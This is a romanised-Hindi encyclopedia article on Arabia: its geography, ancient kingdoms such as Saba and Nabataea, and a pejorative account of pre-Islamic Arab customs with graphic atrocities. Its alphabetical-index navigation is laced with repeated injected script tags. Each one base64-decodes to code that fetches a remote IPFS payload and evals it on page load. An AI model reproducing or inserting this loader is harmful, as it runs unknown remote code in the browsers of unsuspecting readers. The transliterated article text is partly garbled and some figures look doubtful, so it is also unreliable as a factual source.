अरब देश

chitr:Disamb2.jpg arab

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- arab (bahuvikalpi)

eshiya-khand ke dakshin-pashchimaanchal mean faras ki kha di, bharatiy samudr raktasagar ‘halab’ aur furat adi nadiyoan se arab desh ghira hua hai. 6,000 mil lambe 2,240 mil chau de balukamay is paha di desh ki tulana kuchh-kuchh hamare yahaan ke marava d aur bikaner se ho sakati hai. bahut dinoan se arab-nivasi ‘baddoo’ bakari- ooant charate ek sthan se doosare sthan ghoomate-phirate haian. ‘sham’ ki bhasha mean marubhoomi ko ‘arabath’ kahate haian, isi se ‘arab’ shabd nikala hai. yahaan ka uchchatam parvat ‘sirat’, ‘yaman’ pradesh se ‘sham’ tak phaila hua hai; jisaki sabase ooanchi choti 5,333 hath ooanchi hai. bich-bich mean kahi-kahi visheshakar ‘sham’ pradesh mean kheti ke upayukt urvara bhoomi bhi hai. jahaan kahian-kahian par sone-chaandi ki khanean bhi payi jati haian.

itihas

atyant prachin kal mean 'jadis', 'ad', 'samood' adi jatiyaan, jinaka ab namamatr shesh hai, arab mean nivas karati thian, kintu bharat-samrat harshavardhan ke sam-samayik hazarat muhammad ke samay 'qahatan', 'ismaeel', aur 'yahoodi' vansh ke log hi arab mean nivas karate the. arab ki sabhyata ke vishay mean jarman vidvanh ‘naveldaki’ likhata hai-

eesa se ek hazar varsh poorv arab ke agney kon ki sabhyata charam sima par pahuanchi huee thi. garmiyoan mean varsha ke ho jane se saba aur hamir ka yah yaman desh b da hara-bhara rahata tha. yahaan ki prashastiyaan aur bhavy prasadoan ke dhvansavashesh aj bhi hamean balath prashansa ke lie prerit karate haian. samriddh-arab yah yavanoan aur romakoan (itali valoan) ka kahana yahaan ke lie bilakul upayukt tha. sabaan ki gauravasoochak anek kathaean ‘baibil’ granth mean payi jati haian jinamean sabaan ki maharani aur suleman ki mulakat visheshatah smaraniy hai. sabaan valoan ne uttar mean arab ke ‘damashk’ prant se lekar‘, abisiniya (afrika mean) paryant, arambh hi mean lekhanakala ka prachar kiya tha.

pharestar mahashay ne apane bhoogol mean sham ke p dosi prachin ‘nabat’ rajy ke vishay mean likha hai-

yutidh mahashay hi ka yah prayatn hai ki prachin dhvansavashisht samagriyoan dvara chir lupt samood jati ka parichay hamako mil saka. arambh mean isake dvara shikshit ‘nabat’ jati bhi isake sadrish hi thi, jisaki kirti arab ki marubhoomi ka ullanghan kar ‘hijaz’ aur ‘najd’ tak phaili huee thi. vanijy, vyavasay dvara dhanarjan mean kushal yah log ismaeel-vansh ke anuroop yuddhabhay se bhi nirbhay the. inake philastin tatha ‘sham’ par akraman, aur arab samudr mean anek bar misr ke jahajoan par daka dalane yoonan ke rajaoan ko bhi inaki shatruta ke lie prerit kiya tha, kintu ‘rom’ ki sammilit shakti ke atirikt koee bhi inako parast karane mean samarth n hua. ‘astraboo’ ke samay ashakt hokar inhoanne rom ki sandigdh adhinata svikar ki thi.

‘thyachar’ mahashay ‘aangl vishvakosh’ mean likhate haian-

eesa se kee sau varsh dakshin ki or koee uchchatam sabhyata thi. aj vahaan nagar-prakar ka dhvans baqi hai, jisaka varnan bahut se yatriyoan ne liya hai. yaman aur hazamaut mean aise dhvasaanvasheshoan ka bahuly hai. vahaan kahian-kahian par prashastiyaan bhi prapt hoti haian.

kadarjani ne ‘nagar-dhvansavashesh’ pustak mean ‘sana’ ke samipavarti durg ko sapt ashvayoan mean gina hai.

prachin saba ki rajadhani yarab nagari ke dhvans ko arno, halve aur glazi mahashayoan ne dekha hai. vahaan ki avashisht b di khaee ke chinh jirnoddhar kiye gaye adan ke kuando ka smaran dilate haian. 'glajri' prakashit do dirgh prashastiyoan se unaka punaruddhar eesa ke pancham aur pashtham shatak mean kiya gaya pratit hota hai.

yaman prant ke ‘haran’ namak sthan mean 30 hath lambi khaee mili hai.

muhammad kalin arab

prachin kal mean arab-nivasi susabhy aur shilp-kala mean pravin the. parantu ‘nichairgachchhatyupari ch tatha chakranemikramen’ ke anusar kalantar mean unake vanshaj ghor avidyandhakar mean nimagn ho gaye aur sari shilpakalaoan ko bhool kar ooant- bakari charana matr unaki jivika ka upay rah gaya. vah isake lie ek srot se doosare srot, ek sthan se doosare sthan mean hare charagahoan ko khojate hue khemoan mean nivas karake kalakshep karane lage. kanakhajoora, goh, giragit adi sare jiv unake bhakshy the. nar-bali, vyabhichar, dyoot aur madyapan adi ka unamean b da prachar tha. islam ke poorv pita ki anaginat striyaan dayabhag ke taur par putroan mean baant di jati thian, jinhean vah apani stri bana lete the. rajaputr ‘amulkais’ kavi ke apane aur apani phua ki kanya-sambandhi durvrittipoorn kavy ko bhi b di prasannata se logoan se ‘kaba’ ke pavitr-mandir mean sthan diya tha. prachin rajyoan ke vidhvans ho jane par paraspar l dane-bhi dane vale kshudr parivar-samantoan ka sthan-sthan par adhikar tha. ek bhi adami ka hat hona us samay ubhay parivar ke lie chirakal-paryant kalah ka paryapt bij ho jata tha. us dveshagni ko mata ke doodh ke sath l dakoan ke hridayoan mean pravisht kara diya jata tha. yuddh ke kaidiyoan ke sath unake stri aur bachchoan ka bhi shirachchhed us samay ki pratha mean atisadharan tha. nidritoan par akraman kar lootane aur marane mean kushal log ‘fataq’ aur ‘fataq’ shabdoan se abhipoojit hote the. prajjvalit agni mean jivit manushy ko dal dena unake samip koee asadhu karm nahian samajha jata tha. hindoo-putr amroo ne apane bhaee ke mare jane par ek ke badale sau ke marane ki pratijna ki. usane ek din apane pratipakshi ‘tamim’ vanshiyoan par dhava kiya, kintu log basti chho d kar bhag gaye the. keval ‘hamara’ nam ki ek budhiya vahaan rah gee thi, jise usane jalati ag mean dalava diya. usi samay abhagy ka mara 'amara' namak ek kshudhatur savar door se dhuaan uthate dekh bhojan ki asha se udhar a nikala. in luteroan ke poochhane par usane uttar diya ki maian kee din ka bhookha hooan; kuchh milane ki asha se aya hooan. is par ‘amaroo’ ne apane sathiyoan ko ajna di ki isako ag mean dal do.

komal shishuoan ko lakshy banakar tir marana, asahy pi da dene ke lie ek-ek aang ko tho da-tho da karake katana, shatru ke murdoan ki nak-kat dalana, yahaan tak ki unake kaleje kha jana^[1] ityadi us samay ke anek kroor karm unaki nrishansata ke parichayak the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ‘uhad’ ke yuddh mean ‘hind’ namak stri ne ‘hamooja’ (m॰ muhammad ke sahayak) ke kaleje ko katakar khaya tha.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] ‘uhad’ ke yuddh mean ‘hind’ namak stri ne ‘hamooja’ (m॰ muhammad ke sahayak) ke kaleje ko katakar khaya tha.

[1]

अरब देश

itihas

vishay soochi

muhammad kalin arab

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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